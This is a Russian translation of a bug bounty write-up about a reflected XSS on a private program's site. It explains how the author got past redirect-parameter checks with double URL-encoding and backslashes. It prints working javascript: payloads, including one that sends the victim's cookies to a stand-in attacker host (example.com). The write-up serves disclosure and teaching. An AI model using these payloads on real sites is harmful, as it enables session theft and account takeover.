Вот конечная полезная нагрузка после обхода всех странных проверок —

javascript://;%250a+alert(document.cookie,%27\\@www.redacted.com/%27)

Если вам все еще интересно, как и почему использовалась именно эта полезная нагрузка и методология, обязательно дочитайте статью до конца, где я все подробно объяснил :)

Предыстория

Я занимался взломом частной программы. В ней было два ресурса - www.redacted.com и my.redacted.com («redacted» — это слово используется вместо реального доменного имени из соображений конфиденциальности, так как программа была частной). Я зарегистрировал аккаунт на www.redacted.com с запущенным на фоне burp suite. Я немного покопался и заметил, что параметр перенаправления отправляется с большим количеством конечных точек. В программе open redirect был включен в область находок (то есть они разрешили сообщать об ошибках open redirect без какого-либо дополнительного воздействия), поэтому я попробовал её использовать, но обычные методы вообще не работали. Перед тем, как двигаться дальше, я попробовал это в качестве последнего способа и, как ни странно, это сработало - https://www.redacted.com/x/y?redirect=https://google.com\\\@www.redacted.com перенаправлялся на https://google.com\\\@www.redacted.com . Два обратных слеша были автоматически преобразованы браузерами в один прямой слеш '/'.

Хорошо, но где же Rxss?

Извиняюсь, но обход open redirect должен был быть упомянут, так как я разработал полезную нагрузку xss, в некоторой степени основанную на ней. Хотя позже я понял, что в этом не было необходимости.

Поиск Rxss

Burp Suite работал в фоновом режиме. Весь трафик с www.redacted.com проходил через burp. Во вкладке 'http history' (в burp) я заметил незнакомую конечную точку - https://www.redacted.com/profile/login/form/?redirect=https://redacted.com/, назвав ее незнакомой, потому что у конечной точки входа не было пути 'form'. Я открыл url в браузере, чтобы убедиться, что это действительно незнакомая, а не главная страница входа в домен.

Попробовал в параметре 'redirect' open redirect и заметил, что, что бы я не поставил в качестве значения параметра 'redirect', это отражалось в тегах якоря, а точнее в атрибуте href.

Но ...

  1. Значение параметра redirect должно содержать два прямых слэша после схемы url. Схема url может быть любой (проверка не проводилась), но сразу после схемы должна быть добавлена '://'.

  2. Значение параметра redirect больше не может иметь два последовательных прямых слэша (только один раз это было разрешено).

  3. url должен содержать строку 'www.redacted.com' в начале (сразу после двух прямых слэшей) или содержать строку '\\\@www.redacted.com' в конце (обход open redirect).

Rxx - обход странных проверок

Первая проблема возникла из-за того, что в javascript два прямых слэша означают однострочный комментарий. Таким образом, если мы напишем что-либо после двух косых черт, это не будет выполнено, так как браузер воспримет это как комментарий. Чтобы решить эту проблему, я решил использовать символ новой строки. Но прямое его использование в виде '\n' не дало никакого эффекта. Тогда я использовал url-кодировку - '%0a' (url-кодированный символ новой строки). Но и это не сработало, потому что сервер декодирует '%0a' в '\n', прежде чем отразить значение в атрибуте href.

Тогда я подумал о двойном кодировании url, потому что сервер декодирует его только один раз, и в результате отраженное значение на этот раз будет '%0a'. Новый символ строки с двойной кодировкой url выглядит примерно так - '%250a'. Это работало идеально.

Вторая проблема заключалась в том, что два переадресованных слэша не могут быть использованы последовательно еще раз. Эта проблема была легко решена, так как вместо прямых слешей я обнаружил, что обратные слеши также работают аналогичным образом.

Третья проблема была решена двумя способами.

javascript://www.redacted.com/;%250a+alert(document.cookie)

Здесь строка 'www.redacted.com/;' закомментирована двумя прямыми косыми чертами, а '%250a', как объяснялось ранее, переносит строку, и javascript выполняет функцию alert.

javascript://;%250a+alert(document.cookie,%27\\@www.redacted.com/%27)

Это был второй способ, в котором мы используем недостаток проверки open redirect. Как уже упоминалось в начале, проверку open redirect можно было обойти, используя строку '\\\@' перед разрешенным доменом. В результате сервер разрешал вышеуказанное значение для параметра 'redirect'. Здесь в функцию alert передаются два значения, разделенные запятыми - document.cookie и '\\\@www.redacted.com' . document.cookie выполняется, а для второго значения функция возвращает 'undefined'. В двух словах, все, что присутствует первым, выполняется, а последующие значения игнорируются функцией alert.

Rxss - эксплуатация

Базовый alert(document.cookie) был готов, но этого было недостаточно, чтобы сказать, что воздействие этого Xss было захватом аккаунта. Обычно в таких случаях ошибка оценивается как средней тяжести (специально для Hackerone), поэтому важно было показать, как злоумышленник будет захватывать аккаунты.

В этот момент после обхода стольких странных проверок я уже ничего не соображал. На сайте www.redacted.com были заголовки content-security-policy (csp), которые позволяли отправлять запросы только на домены из белого списка. И я думал, как это обойти. Одним из способов, который пришел мне в голову, была публикация cookies пользователя публично в комментарии, но это требовало много работы (имелись специфические программные препятствия). Но! Но! Один добрый человек в Discord подал мне идею перенаправить жертву на контролируемый злоумышленником домен с прикрепленными cookies. Это было то, что нужно! Все сработало гладко!

Это была полезная нагрузка, используемая для отправки cookies на удаленный хост.

javascript://www.redacted.com/;%250adocument.location.href='https:\/\/example.com/'+btoa(document.cookie)

Вот как это отражается:

Эксплойт в действии:

Забавный факт — я уже сообщил об ошибке, опасаясь, что меня обманут, прежде чем показать, что я действительно могу отправить куки на удаленный хост (но я сказал им, что чувствительные куки могут быть прочитаны и использованы для захвата учетных записей). Аналитик программы и отдел по работе с Hackerone не усомнились в этом и отнесли эту ошибку к ошибкам высокой степени серьезности. Она была исправлена очень быстро (примерно за 2 часа), и я получил свою награду :))

Я надеюсь, что эта статья стоила вашего времени, и вы узнали сегодня что-то новое.

Мой аккаунт в твиттере:

https://twitter.com/maniacmarvel_

Мой аккаунт в Linkedin:

https://www.linkedin.com/in/marvelmaniac/

Также не забудьте подписаться на меня на Medium :)

Оригинал статьи - здесь.
Поддержите автора хлопками на Medium.

Перевод статьи был выполнен проектом перевод энтузиаста:

  • ???? @Ent_TranslateIB - Телеграмм канал с тематикой информационной безопасности

  • ???? @Ent_Translate - Инстаграм проекта

Комментарии (0)